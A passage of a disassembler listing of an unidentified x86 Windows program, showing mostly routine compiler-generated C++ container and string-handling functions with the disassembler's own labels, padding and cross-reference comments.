add ebx, ebp
mov ecx, esi
push ebx
call sub_401CAD
; ---------------------------------------------------------------------------
mov edx, [esp+10h+arg_0]
mov ebp, eax
mov eax, [esi+4]
push ebp
push edx
push eax
mov ecx, esi
call sub_4016D6
mov ecx, [esp+10h+arg_8]
mov [esp+10h+arg_4], eax
push ecx
push edi
push eax
mov ecx, esi
call sub_401177
mov edx, [esp+10h+arg_4]
mov ecx, [esi+8]
lea eax, [edx+edi*4]
mov edx, [esp+10h+arg_0]
push eax
push ecx
push edx
mov ecx, esi
call sub_4016D6
mov eax, [esi+8]
mov ecx, [esi+4]
push eax
push ecx
mov ecx, esi
call sub_40170D
mov eax, [esi+4]
mov edx, [esi+0Ch]
sub edx, eax
mov ecx, esi
sar edx, 2
push edx
push eax
call sub_401294
; ---------------------------------------------------------------------------
lea eax, [ebp+ebx*4+0]
mov ecx, esi
mov [esi+0Ch], eax
call sub_401974
add eax, edi
mov [esi+4], ebp
pop edi
lea ecx, [ebp+eax*4+0]
mov [esi+8], ecx
pop esi
pop ebp
pop ebx
retn 0Ch
; ---------------------------------------------------------------------------
loc_4096CB: ; CODE XREF: sub_409600+17j
mov ebx, [esp+10h+arg_0]
mov edx, eax
sub edx, ebx
sar edx, 2
cmp edx, edi
jnb short loc_409729
lea ebp, ds:0[edi*4]
lea ecx, [ebx+ebp]
push ecx
push eax
push ebx
mov ecx, esi
call sub_4016D6
mov eax, [esi+8]
mov edx, [esp+10h+arg_8]
mov ecx, eax
push edx
sub ecx, ebx
sar ecx, 2
sub edi, ecx
mov ecx, esi
push edi
push eax
call sub_401177
mov edx, [esp+10h+arg_8]
mov eax, [esi+8]
push edx
push eax
push ebx
call sub_401F96
mov eax, [esi+8]
add esp, 0Ch
add eax, ebp
mov [esi+8], eax
pop edi
pop esi
pop ebp
pop ebx
retn 0Ch
; ---------------------------------------------------------------------------
loc_409729: ; CODE XREF: sub_409600+D8j
test edi, edi
jbe short loc_409763
shl edi, 2
push eax
push eax
sub eax, edi
mov ecx, esi
push eax
call sub_4016D6
mov eax, [esi+8]
push eax
sub eax, edi
push eax
push ebx
call sub_401CCB
mov ecx, [esp+1Ch+arg_8]
lea edx, [edi+ebx]
push ecx
push edx
push ebx
call sub_401F96
mov eax, [esi+8]
add esp, 18h
add eax, edi
mov [esi+8], eax
loc_409763: ; CODE XREF: sub_409600+12Bj
pop edi
pop esi
pop ebp
pop ebx
retn 0Ch
sub_409600 endp
; ---------------------------------------------------------------------------
db 6 dup(90h)
db 60h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4097D0 proc near ; CODE XREF: sub_40170Dj
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ebx
mov ebx, [esp+4+arg_4]
push esi
mov esi, [esp+8+arg_0]
push edi
cmp esi, ebx
mov edi, ecx
jz short loc_4097F0
loc_4097E1: ; CODE XREF: sub_4097D0+1Ej
push esi
mov ecx, edi
call sub_402072
add esi, 4
cmp esi, ebx
jnz short loc_4097E1
loc_4097F0: ; CODE XREF: sub_4097D0+Fj
pop edi
pop esi
pop ebx
retn 8
sub_4097D0 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_409810 proc near ; CODE XREF: sub_401294j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push eax
call sub_4367E2
sub_409810 endp
; ---------------------------------------------------------------------------
pop ecx
retn 8
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_409830 proc near ; CODE XREF: sub_402072j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push eax
call j_nullsub_7
pop ecx
retn 4
sub_409830 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_409850 proc near ; CODE XREF: sub_4016D6j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push ebx
push ebp
mov ebp, [esp+8+arg_4]
push esi
mov esi, [esp+0Ch+arg_0]
mov ebx, ecx
cmp esi, ebp
jz short loc_409882
push edi
mov edi, [esp+10h+arg_8]
loc_409866: ; CODE XREF: sub_409850+27j
push esi
push edi
mov ecx, ebx
call sub_4015AA
add esi, 4
add edi, 4
cmp esi, ebp
jnz short loc_409866
mov eax, edi
pop edi
pop esi
pop ebp
pop ebx
retn 0Ch
; ---------------------------------------------------------------------------
loc_409882: ; CODE XREF: sub_409850+Fj
mov eax, [esp+0Ch+arg_8]
pop esi
pop ebp
pop ebx
retn 0Ch
sub_409850 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4098A0 proc near ; CODE XREF: sub_401177j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push ebp
push edi
mov edi, [esp+8+arg_4]
mov ebp, ecx
test edi, edi
jbe short loc_4098C7
push ebx
mov ebx, [esp+0Ch+arg_8]
push esi
mov esi, [esp+10h+arg_0]
loc_4098B6: ; CODE XREF: sub_4098A0+23j
push ebx
push esi
mov ecx, ebp
call sub_4015AA
add esi, 4
dec edi
jnz short loc_4098B6
pop esi
pop ebx
loc_4098C7: ; CODE XREF: sub_4098A0+Aj
pop edi
pop ebp
retn 0Ch
sub_4098A0 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_4098E0 proc near ; CODE XREF: sub_401CADj
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push 0
push eax
call sub_40203B
sub_4098E0 endp
; ---------------------------------------------------------------------------
add esp, 8
retn 8
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_409910 proc near ; CODE XREF: sub_4015AAj
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
mov ecx, [esp+arg_0]
push eax
push ecx
call sub_401145
add esp, 8
retn 8
sub_409910 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_409940 proc near ; CODE XREF: sub_401F96j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
mov eax, [esp+arg_0]
mov ecx, [esp+arg_4]
cmp eax, ecx
jz short locret_40995D
mov edx, [esp+arg_8]
push esi
loc_409951: ; CODE XREF: sub_409940+1Aj
mov esi, [edx]
mov [eax], esi
add eax, 4
cmp eax, ecx
jnz short loc_409951
pop esi
locret_40995D: ; CODE XREF: sub_409940+Aj
retn
sub_409940 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_409970 proc near ; CODE XREF: sub_401CCBj
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
mov edx, [esp+arg_0]
mov ecx, [esp+arg_4]
cmp edx, ecx
jz short loc_409992
mov eax, [esp+arg_8]
push esi
loc_409981: ; CODE XREF: sub_409970+1Ej
mov esi, [ecx-4]
sub ecx, 4
sub eax, 4
cmp ecx, edx
mov [eax], esi
jnz short loc_409981
pop esi
retn
; ---------------------------------------------------------------------------
loc_409992: ; CODE XREF: sub_409970+Aj
mov eax, [esp+arg_8]
retn
sub_409970 endp
; ---------------------------------------------------------------------------
db 9 dup(90h)
db 10h dup(0CCh)
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_7. PRESS KEYPAD "+" TO EXPAND]
db 0Fh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_4099D0 proc near ; CODE XREF: sub_40203Bj
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
test eax, eax
jge short loc_4099DA
xor eax, eax
loc_4099DA: ; CODE XREF: sub_4099D0+6j
shl eax, 2
push eax
call sub_4367FA
sub_4099D0 endp
; ---------------------------------------------------------------------------
add esp, 4
retn
; ---------------------------------------------------------------------------
db 9 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_409A00 proc near ; CODE XREF: sub_401145j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_0]
push eax
push 4
call sub_4011CC
add esp, 8
test eax, eax
jz short locret_409A1B
mov ecx, [esp+arg_4]
mov edx, [ecx]
mov [eax], edx
locret_409A1B: ; CODE XREF: sub_409A00+11j
retn
sub_409A00 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_409A30 proc near ; CODE XREF: sub_401979j
arg_0 = dword ptr 4
mov al, byte_44718A
push esi
test al, al
mov esi, ecx
jz short loc_409A66
push edi
nop
call near ptr 2811869h
mov edi, dword_50F8C4
push 0FFFFFFF5h
call edi
push 0FFFFFFF4h
mov [esi], eax
call edi
mov [esi+4], eax
mov eax, [esp+8+arg_0]
mov byte ptr [esi+8], 1
mov [esi+9], eax
pop edi
pop esi
retn 4
; ---------------------------------------------------------------------------
loc_409A66: ; CODE XREF: sub_409A30+Aj
mov ecx, [esp+4+arg_0]
mov byte ptr [esi+8], 1
mov [esi+9], ecx
pop esi
retn 4
sub_409A30 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_409AA0 proc near ; CODE XREF: sub_401CDAj
mov al, byte_44718A
push esi
test al, al
mov esi, ecx
jz short loc_409ABF
nop
call near ptr 2811C5Ah
mov dword ptr [esi], 0FFFFFFFFh
mov dword ptr [esi+4], 0FFFFFFFFh
loc_409ABF: ; CODE XREF: sub_409AA0+Aj
mov byte ptr [esi+8], 0
pop esi
retn
sub_409AA0 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_409AE0 proc near ; CODE XREF: sub_401424j
mov eax, ecx
xor ecx, ecx
mov dword ptr [eax], offset off_43E010
mov [eax+9], ecx
mov [eax+11h], ecx
mov [eax+4], cl
mov [eax+0Dh], ecx
retn
sub_409AE0 endp
; ---------------------------------------------------------------------------
db 9 dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_409B10: ; CODE XREF: ___:00402063j
; ___:loc_402171j
push esi
mov esi, ecx
call sub_401226
test byte ptr [esp+8], 1
jz short loc_409B28
push esi
call sub_4367E2
; ---------------------------------------------------------------------------
add esp, 4
loc_409B28: ; CODE XREF: ___:00409B1Dj
mov eax, esi
pop esi
retn 4
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_409B40 proc near ; CODE XREF: sub_401861j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push ebx
push esi
mov esi, ecx
xor ebx, ebx
push eax
mov dword ptr [esi], offset off_43E010
mov [esi+9], ebx
mov [esi+11h], ebx
call sub_4015D7
mov [esi+4], bl
mov [esi+0Dh], ebx
mov eax, esi
pop esi
pop ebx
retn 4
sub_409B40 endp
; ---------------------------------------------------------------------------
db 7 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_409B80 proc near ; CODE XREF: sub_4014C9j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push ebx
push esi
mov esi, ecx
xor ebx, ebx
push eax
mov dword ptr [esi], offset off_43E010
mov [esi+9], ebx
mov [esi+11h], ebx
call sub_401FBE
mov [esi+4], bl
mov [esi+0Dh], ebx
mov eax, esi
pop esi
pop ebx
retn 4
sub_409B80 endp
; ---------------------------------------------------------------------------
db 7 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_409BC0 proc near ; CODE XREF: sub_4020F4j
var_10 = byte ptr -10h
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
sub esp, 10h
push ebx
push esi
mov esi, ecx
push eax
lea ecx, [esp+1Ch+var_10]
push offset dword_4437F4
push ecx
mov dword ptr [esi], offset off_43E010
nop
call near ptr byte_5EA1BD
add esp, 0Ch
lea edx, [esp+18h+var_10]
xor ebx, ebx
mov ecx, esi
push edx
mov [esi+9], ebx
mov [esi+11h], ebx
call sub_4015D7
mov [esi+4], bl
mov [esi+0Dh], ebx
mov eax, esi
pop esi
pop ebx
add esp, 10h
retn 4
sub_409BC0 endp
; ---------------------------------------------------------------------------
db 7 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_409C30 proc near ; CODE XREF: sub_401226j
push esi
mov esi, ecx
push edi
xor edi, edi
mov eax, [esi+9]
mov dword ptr [esi], offset off_43E010
cmp eax, edi
jz short loc_409C4C
push eax
call sub_4367E2
; ---------------------------------------------------------------------------
add esp, 4
loc_409C4C: ; CODE XREF: sub_409C30+11j
mov eax, [esi+0Dh]
mov [esi+9], edi
cmp eax, edi
jz short loc_409C5F
push eax
call sub_4367E2
; ---------------------------------------------------------------------------
add esp, 4
loc_409C5F: ; CODE XREF: sub_409C30+24j
mov [esi+0Dh], edi
mov [esi+11h], edi
pop edi
pop esi
retn
sub_409C30 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_409C80 proc near ; CODE XREF: sub_4015D7j
arg_0 = dword ptr 4
push ebx
push ebp
push esi
push edi
mov edi, [esp+10h+arg_0]
mov esi, ecx
test edi, edi
jz short loc_409CEA
or ecx, 0FFFFFFFFh
xor eax, eax
repne scasb
mov eax, [esi+9]
not ecx
dec ecx
test eax, eax
mov ebp, ecx
jz short loc_409CAA
push eax
call sub_4367E2
; ---------------------------------------------------------------------------
add esp, 4
loc_409CAA: ; CODE XREF: sub_409C80+1Fj
lea ebx, [ebp+2]
push ebx
call sub_4367FA
; ---------------------------------------------------------------------------
db 8Bh
dd 4C483F8h, 7E89FF85h, 8B2B7409h, 8BC033CBh, 116E89D1h
dd 0F302E9C1h, 83CA8BABh, 0AAF303E1h, 8B11468Bh, 8B14244Ch
dd 51500956h, 0DDAAE852h, 83907783h
db 0C4h, 0Ch
; ---------------------------------------------------------------------------
loc_409CEA: ; CODE XREF: sub_409C80+Cj
pop edi
pop esi
pop ebp
pop ebx
retn 4
sub_409C80 endp
; ---------------------------------------------------------------------------
db 0Fh dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_409D20 proc near ; CODE XREF: sub_401FBEj
arg_0 = dword ptr 4
push esi
mov esi, ecx
mov ecx, [esp+4+arg_0]
call sub_401389
push eax
mov ecx, esi
call sub_4015D7
pop esi
retn 4
sub_409D20 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_409D50: ; CODE XREF: ___:00401A46j
mov eax, [esp+4]
sub esp, 10h
push esi
mov esi, ecx
push eax
lea ecx, [esp+8]
push offset dword_4437F4
push ecx
call near ptr byte_5EA1BD
nop
add esp, 0Ch
lea edx, [esp+4]
mov ecx, esi
push edx
call sub_4015D7
pop esi
add esp, 10h
retn 4
; ---------------------------------------------------------------------------
db 0Fh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_409DA0 proc near ; CODE XREF: sub_401A9Bj
arg_0 = dword ptr 4
push ebx
push ebp
push esi
push edi
mov edi, [esp+10h+arg_0]
mov ebx, ecx
test edi, edi
jz loc_409E32
or ecx, 0FFFFFFFFh
xor eax, eax
repne scasb
mov edi, [ebx+11h]
not ecx
dec ecx
mov esi, ecx
add esi, edi
lea eax, [esi+1]
push eax
call sub_4367FA
; ---------------------------------------------------------------------------
mov edi, [ebx+9]
add esp, 4
test edi, edi
mov ebp, eax
jz short loc_409E32
or ecx, 0FFFFFFFFh
xor eax, eax
mov [ebx+11h], esi
repne scasb
not ecx
sub edi, ecx
mov edx, ecx
mov esi, edi
mov edi, ebp
shr ecx, 2
rep movsd
mov ecx, edx
and ecx, 3
rep movsb
mov edi, [esp+10h+arg_0]
or ecx, 0FFFFFFFFh
repne scasb
not ecx
sub edi, ecx
mov esi, edi
mov edx, ecx
mov edi, ebp
or ecx, 0FFFFFFFFh
repne scasb
mov ecx, edx
dec edi
shr ecx, 2
rep movsd
mov ecx, edx
and ecx, 3
rep movsb
mov eax, [ebx+9]
test eax, eax
jz short loc_409E2F
push eax
call sub_4367E2
; ---------------------------------------------------------------------------
add esp, 4
loc_409E2F: ; CODE XREF: sub_409DA0+84j
mov [ebx+9], ebp
loc_409E32: ; CODE XREF: sub_409DA0+Cj
; sub_409DA0+36j
pop edi
pop esi
pop ebp
pop ebx
retn 4
sub_409DA0 endp
; ---------------------------------------------------------------------------
db 7 dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_409E70 proc near ; CODE XREF: sub_4016BDj
arg_0 = dword ptr 4
push esi
mov esi, ecx
mov ecx, [esp+4+arg_0]
call sub_401389
push eax
mov ecx, esi
call sub_401A9B
pop esi
retn 4
sub_409E70 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_409EA0 proc near ; CODE XREF: sub_401140j
var_10 = byte ptr -10h
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
sub esp, 10h
push esi
mov esi, ecx
push eax
lea ecx, [esp+18h+var_10]
push offset dword_4437F4
push ecx
nop
call near ptr byte_5EA1BD
add esp, 0Ch
lea edx, [esp+14h+var_10]
mov ecx, esi
push edx
call sub_401A9B
pop esi
add esp, 10h
retn 4
sub_409EA0 endp
; ---------------------------------------------------------------------------
db 0Fh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_409EF0 proc near ; CODE XREF: sub_4012EEj
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
test esi, esi
jnz short loc_409F07
mov edx, [ecx+9]
xor eax, eax
test edx, edx
setnz al
pop esi
retn 4
; ---------------------------------------------------------------------------
loc_409F07: ; CODE XREF: sub_409EF0+7j
mov eax, [ecx+9]
push ebx
loc_409F0B: ; CODE XREF: sub_409EF0+3Dj
mov dl, [eax]
mov bl, [esi]
mov cl, dl
cmp dl, bl
jnz short loc_409F36
test cl, cl
jz short loc_409F2F
mov dl, [eax+1]
mov bl, [esi+1]
mov cl, dl
cmp dl, bl
jnz short loc_409F36
add eax, 2
add esi, 2
test cl, cl
jnz short loc_409F0B
loc_409F2F: ; CODE XREF: sub_409EF0+27j
pop ebx
xor eax, eax
pop esi
retn 4
; ---------------------------------------------------------------------------
loc_409F36: ; CODE XREF: sub_409EF0+23j
; sub_409EF0+33j
sbb eax, eax
pop ebx
sbb eax, 0FFFFFFFFh
pop esi
retn 4
sub_409EF0 endp
; ---------------------------------------------------------------------------
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_409F60 proc near ; CODE XREF: sub_401B72j
arg_0 = dword ptr 4
push esi
mov esi, ecx
mov ecx, [esp+4+arg_0]
call sub_401389
push eax
mov ecx, esi
call sub_4012EE
pop esi
retn 4
sub_409F60 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_409F90 proc near ; CODE XREF: sub_401500j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
test eax, eax
jnz short loc_409FA3
mov edx, [ecx+9]
test edx, edx
setnz al
retn 4
; ---------------------------------------------------------------------------
loc_409FA3: ; CODE XREF: sub_409F90+6j
push eax
mov eax, [ecx+9]
push eax
nop
call near ptr 77C4624Eh
add esp, 8
retn 4
sub_409F90 endp
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_409FD0 proc near ; CODE XREF: sub_4021ADj
arg_0 = dword ptr 4
push esi
mov esi, ecx
mov ecx, [esp+4+arg_0]
call sub_401389
push eax
mov ecx, esi
call sub_4012EE
pop esi
retn 4
sub_409FD0 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40A000 proc near ; CODE XREF: sub_401CBCj
push esi
mov esi, ecx
mov eax, [esi+9]
test eax, eax
jz short loc_40A013
push eax
call sub_4367E2
; ---------------------------------------------------------------------------
add esp, 4
loc_40A013: ; CODE XREF: sub_40A000+8j
mov dword ptr [esi+9], 0
pop esi
retn
sub_40A000 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40A030 proc near ; CODE XREF: sub_40102Dj
arg_2000 = dword ptr 2004h
arg_2004 = dword ptr 2008h
arg_2008 = byte ptr 200Ch
mov eax, 2000h
call sub_436840
mov eax, [esp+arg_2004]
test eax, eax
jz short loc_40A072
lea ecx, [esp+arg_2008]
lea edx, [esp+0]
push ecx
push eax
push 2000h
push edx
call near ptr 77C3FF8Ah
nop
mov ecx, [esp+10h+arg_2000]
add esp, 10h
lea eax, [esp+0]
push eax
call sub_4015D7
loc_40A072: ; CODE XREF: sub_40A030+13j
add esp, 2000h
retn
sub_40A030 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
db 7 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40A0A0 proc near ; CODE XREF: sub_401D20j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push 0
push eax
call sub_401316
retn 4
sub_40A0A0 endp
; ---------------------------------------------------------------------------
db 90h
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40A0C0 proc near ; CODE XREF: sub_401316j
arg_0 = byte ptr 4
push ebx
mov ebx, dword_50FAE0
push esi
push edi
movsx edi, [esp+0Ch+arg_0]
mov esi, ecx
push edi
mov eax, [esi+9]
push eax
call ebx
add esp, 8
test eax, eax
jnz short loc_40A0E4
pop edi
pop esi
pop ebx
retn 8
; ---------------------------------------------------------------------------
loc_40A0E4: ; CODE XREF: sub_40A0C0+1Cj
mov ecx, [esi+9]
push edi
push ecx
call ebx
mov edi, [esi+9]
add esp, 8
mov edx, 1
sub edx, edi
pop edi
pop esi
add eax, edx
pop ebx
retn 8
sub_40A0C0 endp
; ---------------------------------------------------------------------------
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40A110 proc near ; CODE XREF: sub_4018A2j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push 0
push eax
call sub_401807
retn 4
sub_40A110 endp
; ---------------------------------------------------------------------------
db 90h
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40A130 proc near ; CODE XREF: sub_401807j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
push esi
mov esi, ecx
push eax
mov ecx, [esp+8+arg_0]
call sub_401389
push eax
mov ecx, esi
call sub_402117
pop esi
retn 8
sub_40A130 endp
; ---------------------------------------------------------------------------
db 3 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40A160 proc near ; CODE XREF: sub_4013E3j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push 0
push eax
call sub_402117
retn 4
sub_40A160 endp
; ---------------------------------------------------------------------------
db 90h
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40A180 proc near ; CODE XREF: sub_402117j
arg_0 = dword ptr 4
push ebx
push esi
push edi
mov edi, [esp+0Ch+arg_0]
test edi, edi
mov esi, ecx
jnz short loc_40A195
pop edi
pop esi
xor eax, eax
pop ebx
retn 8
; ---------------------------------------------------------------------------
loc_40A195: ; CODE XREF: sub_40A180+Bj
mov eax, [esi+9]
mov ebx, dword_50FAF8
push edi
push eax
call ebx
add esp, 8
test eax, eax
jnz short loc_40A1AF
pop edi
pop esi
pop ebx
retn 8
; ---------------------------------------------------------------------------
loc_40A1AF: ; CODE XREF: sub_40A180+27j
mov ecx, [esi+9]
push edi
push ecx
call ebx
mov edi, [esi+9]
add esp, 8
mov edx, 1
sub edx, edi
pop edi
pop esi
add eax, edx
pop ebx
retn 8
sub_40A180 endp
; ---------------------------------------------------------------------------
db 5 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40A1F0 proc near ; CODE XREF: sub_401C5Dj
arg_0 = dword ptr 4
push esi
push edi
mov edi, [esp+8+arg_0]
mov esi, ecx
test edi, edi
jnz short loc_40A203
pop edi
xor eax, eax
pop esi
retn 4
; ---------------------------------------------------------------------------
loc_40A203: ; CODE XREF: sub_40A1F0+Aj
mov eax, [esi+9]
mov [esi+11h], edi
test eax, eax
jz short loc_40A216
push eax
call sub_4367E2
; ---------------------------------------------------------------------------
add esp, 4
loc_40A216: ; CODE XREF: sub_40A1F0+1Bj
push ebx
lea ebx, [edi+1]
push ebx
call sub_4367FA
sub_40A1F0 endp
; ---------------------------------------------------------------------------
mov ecx, ebx
mov edi, eax
mov edx, ecx
xor eax, eax
shr ecx, 2
mov [esi+9], edi
add esp, 4
rep stosd
mov ecx, edx
pop ebx
and ecx, 3
rep stosb
mov eax, [esi+9]
pop edi
pop esi
retn 4
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40A270 proc near ; CODE XREF: sub_4013D9j
mov eax, [ecx+11h]
retn
sub_40A270 endp
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40A290 proc near ; CODE XREF: sub_4012B2j
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = byte ptr -24h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_8 = dword ptr 0Ch
push 0FFFFFFFFh
push offset SEH_40A290
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 20h
push ebp
mov ebp, [esp+30h+arg_8]
push esi
xor esi, esi
cmp ebp, 1
mov [esp+34h+var_2C], ecx
mov [esp+34h+var_28], esi
jge short loc_40A2E2
mov esi, [esp+34h+arg_0]
push offset byte_446F60
mov ecx, esi
call sub_401861
mov eax, esi
pop esi
pop ebp
mov ecx, [esp+2Ch+var_C]
mov large fs:0, ecx
add esp, 2Ch
retn 0Ch
; ---------------------------------------------------------------------------
loc_40A2E2: ; CODE XREF: sub_40A290+2Bj
push ebx
push edi
lea ecx, [esp+3Ch+var_24]
call sub_401424
mov [esp+3Ch+var_4], esi
lea esi, [ebp+1]
push esi
call sub_4367FA
sub_40A290 endp
; ---------------------------------------------------------------------------
mov ecx, esi
mov ebx, eax
mov edx, ecx
xor eax, eax
mov edi, ebx
add esp, 4
shr ecx, 2
rep stosd
mov ecx, edx
mov edx, [esp+44h]
and ecx, 3
push ebx
rep stosb
mov eax, [esp+14h]
mov ecx, ebp
mov edi, ebx
mov esi, [eax+9]
add esi, edx
mov edx, ecx
shr ecx, 2
rep movsd
mov ecx, edx
and ecx, 3
rep movsb
lea ecx, [esp+1Ch]
call sub_4015D7
push ebx
call sub_4367E2
; ---------------------------------------------------------------------------
mov esi, [esp+44h]
add esp, 4
lea eax, [esp+18h]
mov ecx, esi
push eax
call sub_4014C9
lea ecx, [esp+18h]
call sub_401226
mov ecx, [esp+30h]
pop edi
mov eax, esi
pop ebx
pop esi
pop ebp
mov large fs:0, ecx
add esp, 2Ch
retn 0Ch
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 40h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40A3C0 proc near ; CODE XREF: sub_401E2Ej
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ecx
push esi
push edi
mov esi, ecx
mov [esp+0Ch+var_4], 0
call sub_4013D9
mov ecx, [esp+0Ch+arg_4]
mov edi, [esp+0Ch+arg_0]
sub eax, ecx
push eax
push ecx
push edi
mov ecx, esi
call sub_4012B2
mov eax, edi
pop edi
pop esi
pop ecx
retn 8
sub_40A3C0 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_40A400: ; CODE XREF: ___:0040193Dj
push ecx
push esi
mov esi, [esp+0Ch]
push 1
mov ecx, esi
mov dword ptr [esp+8], 0
call sub_4020F4
mov eax, esi
pop esi
pop ecx
retn 4
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40A430 proc near ; CODE XREF: sub_4011EAj
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = byte ptr -34h
var_24 = byte ptr -24h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push 0FFFFFFFFh
push offset SEH_40A430
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 30h
push esi
push edi
mov edi, [esp+44h+arg_8]
mov esi, ecx
test edi, edi
mov [esp+44h+var_38], 0
jnz short loc_40A471
mov esi, [esp+44h+arg_0]
push offset byte_446F60
mov ecx, esi
call sub_401861
jmp loc_40A5A4
; ---------------------------------------------------------------------------
loc_40A471: ; CODE XREF: sub_40A430+2Aj
lea eax, [esp+44h+arg_8]
lea ecx, [esp+44h+var_34]
push eax
call sub_401690
mov ecx, [esi+9]
mov [esp+44h+var_4], 1
push ecx
lea ecx, [esp+48h+var_24]
call sub_401861
lea ecx, [esp+44h+var_24]
mov byte ptr [esp+44h+var_4], 2
call sub_4014D3
mov [esp+44h+var_3C], eax
mov cl, [eax]
test cl, cl
jz loc_40A555
push ebx
loc_40A4B1: ; CODE XREF: sub_40A430+11Ej
